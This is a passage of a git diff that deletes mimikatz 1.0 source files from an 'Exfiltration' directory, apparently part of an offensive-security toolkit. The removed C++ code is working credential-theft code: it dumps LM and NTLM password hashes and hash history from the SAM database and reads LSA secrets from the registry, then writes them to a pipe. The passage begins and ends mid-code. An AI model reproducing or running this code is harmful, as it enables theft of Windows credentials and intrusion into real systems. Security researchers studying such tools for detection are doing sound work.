- for(DWORD numUser = 0; numUser < ptrStructEnumUser->EntriesRead && sendOk; numUser++)
- {
- wstring monUserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name);
- ptrMesInfosUsers = NULL;
-
- if(NT_SUCCESS(SamrOpenUser(handleDomain, USER_ALL_ACCESS, ptrStructEnumUser->Buffer[numUser].RelativeId, &handleUser)))
- {
- if(NT_SUCCESS(SamrQueryInformationUser(handleUser, monType, &ptrMesInfosUsers)))
- {
- WUserAllInformation mesInfos = UserInformationsToStruct(monType, ptrMesInfosUsers);
- mesInfos.UserId = ptrStructEnumUser->Buffer[numUser].RelativeId;
- mesInfos.DomaineName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName);
-
- if(mesInfos.UserName.empty())
- mesInfos.UserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name);
-
- sendOk = descrToPipeInformations(monPipe, monType, mesInfos, isCSV);
- SamIFree_SAMPR_USER_INFO_BUFFER(ptrMesInfosUsers, monType);
- }
-
- if(history && SamIGetPrivateData != NULL)
- {
- sendOk = descrUserHistoryToPipe(monPipe, ptrStructEnumUser->Buffer[numUser].RelativeId, monUserName, domainName, handleUser, monType, isCSV);
- }
- SamrCloseHandle(reinterpret_cast(&handleUser));
- }
- else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir l\'objet utilisateur\n");
- }
- SamIFree_SAMPR_ENUMERATION_BUFFER(ptrStructEnumUser);
- }
- else sendOk = sendTo(monPipe, L"Echec dans l\'obtention de la liste des objets\n");
-
- } while(retourEnum == STATUS_MORE_ENTRIES && sendOk);
- SamrCloseHandle(reinterpret_cast(&handleDomain));
- }
- else sendOk = sendTo(monPipe, L"Impossible d\'obtenir les information sur le domaine\n");
- SamrCloseHandle(reinterpret_cast(&handleSam));
- }
- else sendOk = sendTo(monPipe, L"Impossible de se connecter la base de scurit du domaine\n");
- LsaFreeMemory(ptrPolicyDomainInfo);
- }
- else sendOk = sendTo(monPipe, L"Impossible d\'obtenir des informations sur la politique de scurit\n");
- LsaClose(handlePolicy);
- }
- else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir la politique de scurit\n");
-
- return sendOk;
- }
- else return getSAMFunctions(monPipe, mesArguments);
-}
-
-bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV)
-{
- wstringstream maReponse;
-
- switch(type)
- {
- case UserInternal1Information:
- if(isCSV)
- {
- maReponse <<
- mesInfos.UserId << L";" <<
- mesInfos.UserName << L";" <<
- mesInfos.DomaineName << L";" <<
- mesInfos.LmOwfPassword << L";" <<
- mesInfos.NtOwfPassword << L";"
- ;
- }
- else
- {
- maReponse <<
- L"ID : " << mesInfos.UserId << endl <<
- L"Nom : " << mesInfos.UserName << endl <<
- L"Domaine : " << mesInfos.DomaineName << endl <<
- L"Hash LM : " << mesInfos.LmOwfPassword << endl <<
- L"Hash NTLM : " << mesInfos.NtOwfPassword << endl
- ;
- }
- break;
- case UserAllInformation:
- if(isCSV)
- {
- maReponse <<
- mesInfos.UserId << L';' <<
- mesInfos.UserName << L';' <<
- mesInfos.DomaineName << L';' <<
- protectMe(mesInfos.FullName) << L';' <<
- mesInfos.isActif << L';' <<
- mesInfos.isLocked << L';' <<
- mesInfos.TypeCompte << L';' <<
- protectMe(mesInfos.UserComment) << L';' <<
- protectMe(mesInfos.AdminComment) << L';' <<
- mesInfos.AccountExpires_strict << L';' <<
- protectMe(mesInfos.WorkStations) << L';' <<
- protectMe(mesInfos.HomeDirectory) << L';' <<
- protectMe(mesInfos.HomeDirectoryDrive) << L';' <<
- protectMe(mesInfos.ProfilePath) << L';' <<
- protectMe(mesInfos.ScriptPath) << L';' <<
- mesInfos.LogonCount << L';' <<
- mesInfos.BadPasswordCount << L';' <<
- mesInfos.LastLogon_strict << L';' <<
- mesInfos.LastLogoff_strict << L';' <<
- mesInfos.PasswordLastSet_strict << L';' <<
- mesInfos.isPasswordNotExpire << L';' <<
- mesInfos.isPasswordNotRequired << L';' <<
- mesInfos.isPasswordExpired << L';' <<
- mesInfos.PasswordCanChange_strict << L';' <<
- mesInfos.PasswordMustChange_strict << L';' <<
- mesInfos.LmOwfPassword << L';' <<
- mesInfos.NtOwfPassword << L';'
- ;
- }
- else
- {
- maReponse << boolalpha <<
- L"Compte" << endl <<
- L"======" << endl <<
- L"ID : " << mesInfos.UserId << endl <<
- L"Nom : " << mesInfos.UserName << endl <<
- L"Domaine : " << mesInfos.DomaineName << endl <<
- L"Nom complet : " << mesInfos.FullName << endl <<
- L"Actif : " << mesInfos.isActif << endl <<
- L"Verouill : " << mesInfos.isLocked << endl <<
- L"Type : " << mesInfos.TypeCompte << endl <<
- L"Commentaire utilisateur : " << mesInfos.UserComment << endl <<
- L"Commentaire admin : " << mesInfos.AdminComment << endl <<
- L"Expiration : " << mesInfos.AccountExpires << endl <<
- L"Station(s) : " << mesInfos.WorkStations << endl <<
- endl <<
- L"Chemins" << endl <<
- L"-------" << endl <<
- L"Rpertoire de base : " << mesInfos.HomeDirectory << endl <<
- L"Lecteur de base : " << mesInfos.HomeDirectoryDrive << endl <<
- L"Profil : " << mesInfos.ProfilePath << endl <<
- L"Script de dmarrage : " << mesInfos.ScriptPath << endl <<
- endl <<
- L"Connexions" << endl <<
- L"----------" << endl <<
- L"Nombre : " << mesInfos.LogonCount << endl <<
- L"Echecs : " << mesInfos.BadPasswordCount << endl <<
- L"Dernire connexion : " << mesInfos.LastLogon << endl <<
- L"Dernire dconnexion : " << mesInfos.LastLogoff << endl <<
- endl <<
- L"Mot de passe" << endl <<
- L"------------" << endl <<
- L"Dernier changement : " << mesInfos.PasswordLastSet << endl <<
- L"N\'expire pas : " << mesInfos.isPasswordNotExpire << endl <<
- L"Peut tre vide : " << mesInfos.isPasswordNotRequired << endl <<
- L"Mot de passe expir : " << mesInfos.isPasswordExpired << endl <<
- L"Possibilit changement : " << mesInfos.PasswordCanChange << endl <<
- L"Obligation changement : " << mesInfos.PasswordMustChange << endl <<
- endl <<
- L"Hashs" << endl <<
- L"-----" << endl <<
- L"Hash LM : " << mesInfos.LmOwfPassword << endl <<
- L"Hash NTLM : " << mesInfos.NtOwfPassword << endl <<
- endl
- ;
- }
- break;
- }
-
- maReponse << endl;
- return sendTo(monPipe, maReponse.str());
-}
-
-WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr)
-{
- WUserAllInformation mesInfos;
- PSAMPR_USER_INTERNAL1_INFORMATION ptrPassword = NULL;
- PSAMPR_USER_ALL_INFORMATION ptrAllInformations = NULL;
-
- switch(type)
- {
- case UserInternal1Information:
- ptrPassword = reinterpret_cast(monPtr);
-
- mesInfos.LmPasswordPresent = ptrPassword->LmPasswordPresent != 0;
- mesInfos.NtPasswordPresent = ptrPassword->NtPasswordPresent != 0;
-
- if(mesInfos.LmPasswordPresent)
- mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedLmOwfPassword.data, sizeof(ptrPassword->EncryptedLmOwfPassword.data));
- if(mesInfos.NtPasswordPresent)
- mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedNtOwfPassword.data, sizeof(ptrPassword->EncryptedNtOwfPassword.data));
- break;
-
- case UserAllInformation:
- ptrAllInformations = reinterpret_cast(monPtr);
-
- mesInfos.UserId = ptrAllInformations->UserId;
- mesInfos.UserName = mod_text::stringOfSTRING(ptrAllInformations->UserName);
- mesInfos.FullName = mod_text::stringOfSTRING(ptrAllInformations->FullName); correctMe(mesInfos.FullName);
-
- mesInfos.isActif = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_DISABLED) == 0;
- mesInfos.isLocked = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_AUTO_LOCKED) != 0;
-
- if(ptrAllInformations->UserAccountControl & USER_SERVER_TRUST_ACCOUNT)
- mesInfos.TypeCompte.assign(L"Contrleur de domaine");
- else if(ptrAllInformations->UserAccountControl & USER_WORKSTATION_TRUST_ACCOUNT)
- mesInfos.TypeCompte.assign(L"Ordinateur");
- else if(ptrAllInformations->UserAccountControl & USER_NORMAL_ACCOUNT)
- mesInfos.TypeCompte.assign(L"Utilisateur");
- else
- mesInfos.TypeCompte.assign(L"Inconnu");
-
- mesInfos.UserComment = mod_text::stringOfSTRING(ptrAllInformations->UserComment); correctMe(mesInfos.AdminComment);
- mesInfos.AdminComment = mod_text::stringOfSTRING(ptrAllInformations->AdminComment); correctMe(mesInfos.AdminComment);
- mesInfos.AccountExpires = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires);
- mesInfos.AccountExpires_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires, true);
- mesInfos.WorkStations = mod_text::stringOfSTRING(ptrAllInformations->WorkStations);
- mesInfos.HomeDirectory = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectory); correctMe(mesInfos.HomeDirectory);
- mesInfos.HomeDirectoryDrive = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectoryDrive); correctMe(mesInfos.HomeDirectoryDrive);
- mesInfos.ProfilePath = mod_text::stringOfSTRING(ptrAllInformations->ProfilePath); correctMe(mesInfos.ProfilePath);
- mesInfos.ScriptPath = mod_text::stringOfSTRING(ptrAllInformations->ScriptPath); correctMe(mesInfos.ScriptPath);
- mesInfos.LogonCount = ptrAllInformations->LogonCount;
- mesInfos.BadPasswordCount = ptrAllInformations->BadPasswordCount;
- mesInfos.LastLogon = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon);
- mesInfos.LastLogon_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon, true);
- mesInfos.LastLogoff = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff);
- mesInfos.LastLogoff_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff, true);
- mesInfos.PasswordLastSet = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet);
- mesInfos.PasswordLastSet_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet, true);
- mesInfos.isPasswordNotExpire = (ptrAllInformations->UserAccountControl & USER_DONT_EXPIRE_PASSWORD) != 0;
- mesInfos.isPasswordNotRequired = (ptrAllInformations->UserAccountControl & USER_PASSWORD_NOT_REQUIRED) != 0;
- mesInfos.isPasswordExpired = ptrAllInformations->PasswordExpired != 0;
- mesInfos.PasswordCanChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange);
- mesInfos.PasswordCanChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange, true);
- mesInfos.PasswordMustChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange);
- mesInfos.PasswordMustChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange, true);
- mesInfos.LmPasswordPresent = ptrAllInformations->LmPasswordPresent != 0;
- mesInfos.NtPasswordPresent = ptrAllInformations->NtPasswordPresent != 0;
-
- if(mesInfos.LmPasswordPresent)
- mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast(ptrAllInformations->LmOwfPassword.Buffer), ptrAllInformations->LmOwfPassword.Length);
- if(mesInfos.NtPasswordPresent)
- mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast(ptrAllInformations->NtOwfPassword.Buffer), ptrAllInformations->NtOwfPassword.Length);
-
- break;
- }
- return mesInfos;
-}
-
-bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV)
-{
- WUserAllInformation mesInfos;
- mesInfos.DomaineName = domainName;
- mesInfos.UserId = rid;
-
- DWORD Context = 2, Type = 0, tailleBlob;
- PWHashHistory pMesDatas = NULL;
- bool sendOk = true;
-
- if(NT_SUCCESS(SamIGetPrivateData(handleUser, &Context, &Type, &tailleBlob, &pMesDatas)))
- {
- unsigned short nbEntrees = min(pMesDatas->histNTLMsize, pMesDatas->histLMsize) / 16;
-
- for(unsigned short i = 1; i < nbEntrees && sendOk; i++)
- {
- BYTE monBuff[16] = {0};
-
- wostringstream userNameQualif;
- userNameQualif << monUserName << L"{p-" << i << L"}";
- mesInfos.UserName = userNameQualif.str();
-
- if(NT_SUCCESS(SystemFunction025(pMesDatas->hashs[nbEntrees + i], &rid, monBuff)))
- {
- mesInfos.LmPasswordPresent = 1;
- mesInfos.LmOwfPassword = mod_text::stringOfHex(monBuff, 0x10);
- }
- else
- {
- mesInfos.LmPasswordPresent = 0;
- mesInfos.LmOwfPassword = L"chec de dcodage :(";
- }
-
- if(NT_SUCCESS(SystemFunction027(pMesDatas->hashs[i], &rid, monBuff)))
- {
- mesInfos.NtPasswordPresent = 1;
- mesInfos.NtOwfPassword = mod_text::stringOfHex(monBuff, 0x10);
- }
- else
- {
- mesInfos.NtPasswordPresent = 0;
- mesInfos.NtOwfPassword = L"chec de dcodage :(";
- }
-
- sendOk = descrToPipeInformations(monPipe, type, mesInfos, isCSV);
- }
- LocalFree(pMesDatas);
- }
- return sendOk;
-}
-
-wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict)
-{
- wostringstream reponse;
-
- if(monInt.LowPart == ULONG_MAX && monInt.HighPart == LONG_MAX)
- {
- if(!isStrict)
- reponse << L"N\'arrive jamais";
- }
- else if(monInt.LowPart == 0 && monInt.HighPart == 0)
- {
- if(!isStrict)
- reponse << L"N\'est pas encore arriv";
- }
- else
- {
- SYSTEMTIME monTimeStamp;
- if(FileTimeToSystemTime(reinterpret_cast(&monInt), &monTimeStamp) != FALSE)
- {
- reponse << dec <<
- setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wDay << L"/" <<
- setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMonth << L"/" <<
- setw(4)<< setfill(wchar_t('0')) << monTimeStamp.wYear << L" " <<
- setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wHour << L":" <<
- setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMinute << L":" <<
- setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wSecond;
- }
- }
- return reponse.str();
-}
-
-wstring protectMe(wstring &maChaine)
-{
- wstring result;
- if(!maChaine.empty())
- {
- result = L"\"";
- result.append(maChaine);
- result.append(L"\"");
- }
- return result;
-}
-
-void correctMe(wstring &maChaine)
-{
- unsigned char source[] = {0x19, 0x20, 0x13, 0x20, 0xab, 0x00, 0xbb, 0x00, 0x26, 0x20};
- unsigned char replac[] = {'\'', 0 , '-' , 0 , '\"', 0 , '\"', 0, '.', 0 };
-
- for(unsigned int i = 0; i < maChaine.size() ; i++)
- {
- const BYTE * monPtr = reinterpret_cast(&maChaine.c_str()[i]);
- for(int j = 0 ; j < min(sizeof(source), sizeof(replac)) ; j+=2)
- {
- if(*monPtr == source[j] && *(monPtr + 1) == source[j+1])
- {
- *const_cast(monPtr) = replac[j];
- *const_cast(monPtr + 1) = replac[j + 1];
- break;
- }
- }
- }
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h
deleted file mode 100644
index 870aa4d..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h
+++ /dev/null
@@ -1,210 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "kmodel.h"
-#include "mod_text.h"
-#include
-#include
-
-bool searchSAMFuncs();
-__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector * mesArguments);
-__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector * mesArguments);
-
-#define SAM_SERVER_CONNECT 0x00000001
-#define DOMAIN_ALL_ACCESS 0x000F07FF
-#define USER_ALL_ACCESS 0x000F07FF
-
-#define USER_ACCOUNT_DISABLED 0x00000001
-#define USER_PASSWORD_NOT_REQUIRED 0x00000004
-#define USER_NORMAL_ACCOUNT 0x00000010
-#define USER_WORKSTATION_TRUST_ACCOUNT 0x00000080
-#define USER_SERVER_TRUST_ACCOUNT 0x00000100
-#define USER_DONT_EXPIRE_PASSWORD 0x00000200
-#define USER_ACCOUNT_AUTO_LOCKED 0x00000400
-#define USER_SMARTCARD_REQUIRED 0x00001000
-#define USER_TRUSTED_FOR_DELEGATION 0x00002000
-#define USER_PASSWORD_EXPIRED 0x00020000
-
-typedef struct _WUserAllInformation
-{
- unsigned long UserId;
- wstring UserName;
- wstring DomaineName;
- wstring FullName;
- bool isActif;
- bool isLocked;
- wstring TypeCompte;
- wstring UserComment;
- wstring AdminComment;
- wstring AccountExpires;
- wstring AccountExpires_strict;
- wstring WorkStations;
-
- wstring HomeDirectory;
- wstring HomeDirectoryDrive;
- wstring ProfilePath;
- wstring ScriptPath;
-
- unsigned short LogonCount;
- unsigned short BadPasswordCount;
- wstring LastLogon;
- wstring LastLogon_strict;
- wstring LastLogoff;
- wstring LastLogoff_strict;
-
- wstring PasswordLastSet;
- wstring PasswordLastSet_strict;
- bool isPasswordNotExpire;
- bool isPasswordNotRequired;
- bool isPasswordExpired;
- wstring PasswordCanChange;
- wstring PasswordCanChange_strict;
- wstring PasswordMustChange;
- wstring PasswordMustChange_strict;
-
- bool LmPasswordPresent;
- wstring LmOwfPassword;
- bool NtPasswordPresent;
- wstring NtOwfPassword;
-} WUserAllInformation, *PUserAllInformation;
-
-typedef struct _WHashHistory
-{
- DWORD unkVersion;
- unsigned short currentLMsize;
- unsigned short unkCurrentLMsize;
- DWORD unkCurLM;
- BYTE EncLMhash[16];
-
- unsigned short currentNTLMsize;
- unsigned short unkCurrentNTLMsize;
- DWORD unkCurNTLM;
- BYTE EncNTLMhash[16];
-
- unsigned short histLMsize;
- unsigned short unkhistLMsize;
- DWORD unkHistLM;
-
- unsigned short histNTLMsize;
- unsigned short unkhistNTLMsize;
- DWORD unkHistNTLM;
- BYTE hashs[24][16];
-} WHashHistory, *PWHashHistory;
-
-DECLARE_HANDLE(HUSER);
-DECLARE_HANDLE(HSAM);
-DECLARE_HANDLE(HDOMAIN);
-
-typedef struct _SAMPR_RID_ENUMERATION
-{
- unsigned long RelativeId;
- LSA_UNICODE_STRING Name;
-} SAMPR_RID_ENUMERATION, *PSAMPR_RID_ENUMERATION;
-
-typedef struct _SAMPR_ENUMERATION_BUFFER
-{
- unsigned long EntriesRead;
- [size_is(EntriesRead)] PSAMPR_RID_ENUMERATION Buffer;
-} SAMPR_ENUMERATION_BUFFER, *PSAMPR_ENUMERATION_BUFFER;
-
-typedef enum _USER_INFORMATION_CLASS
-{
- UserInternal1Information = 18,
- UserAllInformation = 21,
-} USER_INFORMATION_CLASS, *PUSER_INFORMATION_CLASS;
-
-typedef struct _ENCRYPTED_LM_OWF_PASSWORD
-{
- BYTE data[16];
-} ENCRYPTED_LM_OWF_PASSWORD, *PENCRYPTED_LM_OWF_PASSWORD, ENCRYPTED_NT_OWF_PASSWORD, *PENCRYPTED_NT_OWF_PASSWORD;
-
-typedef struct _SAMPR_USER_INTERNAL1_INFORMATION
-{
- ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword;
- ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword;
- unsigned char NtPasswordPresent;
- unsigned char LmPasswordPresent;
- unsigned char PasswordExpired;
-} SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION;
-
-typedef struct _OLD_LARGE_INTEGER {
- unsigned long LowPart;
- long HighPart;
-} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER;
-
-typedef struct _SAMPR_SR_SECURITY_DESCRIPTOR {
- [range(0, 256 * 1024)] unsigned long Length;
- [size_is(Length)] unsigned char* SecurityDescriptor;
-} SAMPR_SR_SECURITY_DESCRIPTOR, *PSAMPR_SR_SECURITY_DESCRIPTOR;
-
-typedef struct _SAMPR_LOGON_HOURS {
- unsigned short UnitsPerWeek;
- [size_is(1260), length_is((UnitsPerWeek+7)/8)]
- unsigned char* LogonHours;
-} SAMPR_LOGON_HOURS, *PSAMPR_LOGON_HOURS;
-
-typedef struct _SAMPR_USER_ALL_INFORMATION
-{
- OLD_LARGE_INTEGER LastLogon;
- OLD_LARGE_INTEGER LastLogoff;
- OLD_LARGE_INTEGER PasswordLastSet;
- OLD_LARGE_INTEGER AccountExpires;
- OLD_LARGE_INTEGER PasswordCanChange;
- OLD_LARGE_INTEGER PasswordMustChange;
- LSA_UNICODE_STRING UserName;
- LSA_UNICODE_STRING FullName;
- LSA_UNICODE_STRING HomeDirectory;
- LSA_UNICODE_STRING HomeDirectoryDrive;
- LSA_UNICODE_STRING ScriptPath;
- LSA_UNICODE_STRING ProfilePath;
- LSA_UNICODE_STRING AdminComment;
- LSA_UNICODE_STRING WorkStations;
- LSA_UNICODE_STRING UserComment;
- LSA_UNICODE_STRING Parameters;
- LSA_UNICODE_STRING LmOwfPassword;
- LSA_UNICODE_STRING NtOwfPassword;
- LSA_UNICODE_STRING PrivateData;
- SAMPR_SR_SECURITY_DESCRIPTOR SecurityDescriptor;
- unsigned long UserId;
- unsigned long PrimaryGroupId;
- unsigned long UserAccountControl;
- unsigned long WhichFields;
- SAMPR_LOGON_HOURS LogonHours;
- unsigned short BadPasswordCount;
- unsigned short LogonCount;
- unsigned short CountryCode;
- unsigned short CodePage;
- unsigned char LmPasswordPresent;
- unsigned char NtPasswordPresent;
- unsigned char PasswordExpired;
- unsigned char PrivateDataSensitive;
-} SAMPR_USER_ALL_INFORMATION, *PSAMPR_USER_ALL_INFORMATION;
-
-typedef [switch_is(USER_INFORMATION_CLASS)] union _SAMPR_USER_INFO_BUFFER /* http://msdn.microsoft.com/en-us/library/cc211885.aspx */
-{
- [case(UserInternal1Information)]
- SAMPR_USER_INTERNAL1_INFORMATION Internal1;
- [case(UserAllInformation)]
- SAMPR_USER_ALL_INFORMATION All;
-} SAMPR_USER_INFO_BUFFER, *PSAMPR_USER_INFO_BUFFER;
-
-WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr);
-bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV = false);
-bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV = false);
-wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict = false);
-wstring protectMe(wstring &maChaine);
-void correctMe(wstring &maChaine);
-
-typedef NTSTATUS (WINAPI * PSAM_I_CONNECT) (DWORD, HSAM *, DWORD, DWORD);
-typedef NTSTATUS (WINAPI * PSAM_R_OPEN_DOMAIN) (HSAM, DWORD dwAccess, PSID, HDOMAIN*);
-typedef NTSTATUS (WINAPI * PSAM_R_OPEN_USER) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*);
-typedef NTSTATUS (WINAPI * PSAM_R_ENUMERATE_USERS_IN_DOMAIN) (HDOMAIN, DWORD*, DWORD, PSAMPR_ENUMERATION_BUFFER *, DWORD, PVOID);
-typedef NTSTATUS (WINAPI * PSAM_R_QUERY_INFORMATION_USER) (HUSER, DWORD, PSAMPR_USER_INFO_BUFFER *);
-typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_USER_INFO_BUFFER) (PVOID, DWORD);
-typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER) (PSAMPR_ENUMERATION_BUFFER);
-typedef NTSTATUS (WINAPI * PSAM_R_CLOSE_HANDLE) (PHANDLE);
-typedef NTSTATUS (WINAPI * PSAM_I_GET_PRIVATE_DATA) (HUSER, DWORD *, DWORD *, DWORD *, PWHashHistory *);
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp
deleted file mode 100644
index 06d8664..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp
+++ /dev/null
@@ -1,99 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "secrets.h"
-
-PLSA_I_OPEN_POLICY_TRUSTED LsaIOpenPolicyTrusted = NULL;
-PLSA_R_OPEN_SECRET LsarOpenSecret = NULL;
-PLSA_R_QUERY_SECRET LsarQuerySecret = NULL;
-PLSA_R_CLOSE LsarClose = NULL;
-
-bool searchSECFuncs()
-{
- if(!(LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose))
- {
- if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv"))
- {
- LsaIOpenPolicyTrusted = reinterpret_cast(GetProcAddress(hLsasrv, "LsaIOpenPolicyTrusted"));
- LsarOpenSecret = reinterpret_cast(GetProcAddress(hLsasrv, "LsarOpenSecret"));
- LsarQuerySecret = reinterpret_cast(GetProcAddress(hLsasrv, "LsarQuerySecret"));
- LsarClose = reinterpret_cast(GetProcAddress(hLsasrv, "LsarClose"));
- }
- return (LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose);
- }
- else return true;
-}
-
-__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector * mesArguments)
-{
- wostringstream monStream;
- monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchSECFuncs() ? L"OK :)" : L"KO :(") << endl << endl <<
- L"@LsaIOpenPolicyTrusted = " << LsaIOpenPolicyTrusted << endl <<
- L"@LsarOpenSecret = " << LsarOpenSecret << endl <<
- L"@LsarQuerySecret = " << LsarQuerySecret << endl <<
- L"@LsarClose = " << LsarClose << endl;
- return sendTo(monPipe, monStream.str());
-}
-
-__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector * mesArguments)
-{
- if(searchSECFuncs())
- {
- bool sendOk = true;
- wstring message;
- LSA_HANDLE hPolicy;
-
- if(NT_SUCCESS(LsaIOpenPolicyTrusted(&hPolicy)))
- {
- HKEY hKeysSecrets;
- if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SECURITY\\Policy\\Secrets", 0, KEY_READ, &hKeysSecrets) == ERROR_SUCCESS)
- {
- DWORD nbKey, maxKeySize;
- if(RegQueryInfoKey(hKeysSecrets, NULL, NULL, NULL, &nbKey, &maxKeySize, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
- {
- for(DWORD i = 0; (i < nbKey) && sendOk; i++)
- {
- DWORD buffsize = (maxKeySize+1) * sizeof(wchar_t);
- LSA_UNICODE_STRING monNomSecret = {0, 0, new wchar_t[buffsize]};
-
- if(RegEnumKeyEx(hKeysSecrets, i, monNomSecret.Buffer, &buffsize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
- {
- monNomSecret.Length = monNomSecret.MaximumLength = static_cast(buffsize * sizeof(wchar_t));
- message.assign(L"\nSecret : "); message.append(mod_text::stringOfSTRING(monNomSecret)); message.push_back(L'\n');
-
- LSA_HANDLE hSecret;
- if(NT_SUCCESS(LsarOpenSecret(hPolicy, &monNomSecret, SECRET_QUERY_VALUE, &hSecret)))
- {
- LSA_SECRET * monSecret = NULL;
- if(NT_SUCCESS(LsarQuerySecret(hSecret, &monSecret, NULL, NULL, NULL)))
- {
- message.append(L"Credential : "); message.append(mod_text::stringOrHex(reinterpret_cast(monSecret->Buffer), monSecret->Length)); message.push_back(L'\n');
- LsaFreeMemory(monSecret);
- }
- else message.append(L"Erreur : Impossible de rcuprer le secret\n");
- LsarClose(&hSecret);
- }
- else message.append(L"Erreur : Impossible d\'ouvrir le secret\n");
- }
- delete[] monNomSecret.Buffer;
- sendOk = sendTo(monPipe, message);
- }
- message.clear();
- } else message.assign(L"Erreur : Impossible d\'obtenir des information sur le registre secret\n");
- RegCloseKey(hKeysSecrets);
- }
- else message.assign(L"Erreur : Impossible d\'ouvrir la cl Secrets\n");
- LsarClose(&hPolicy);
- }
- else message.assign(L"Erreur : Impossible d\'ouvrir la politique\n");
-
- if(!message.empty())
- sendOk = sendTo(monPipe, message);
-
- return sendOk;
- }
- else return getSECFunctions(monPipe, mesArguments);
-}
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h
deleted file mode 100644
index cb74837..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h
+++ /dev/null
@@ -1,29 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "kmodel.h"
-#include "mod_text.h"
-#include
-
-bool searchSECFuncs();
-__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector * mesArguments);
-__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector * mesArguments);
-
-#define SECRET_SET_VALUE 0x00000001
-#define SECRET_QUERY_VALUE 0x00000002
-
-typedef struct _LSA_SECRET
-{
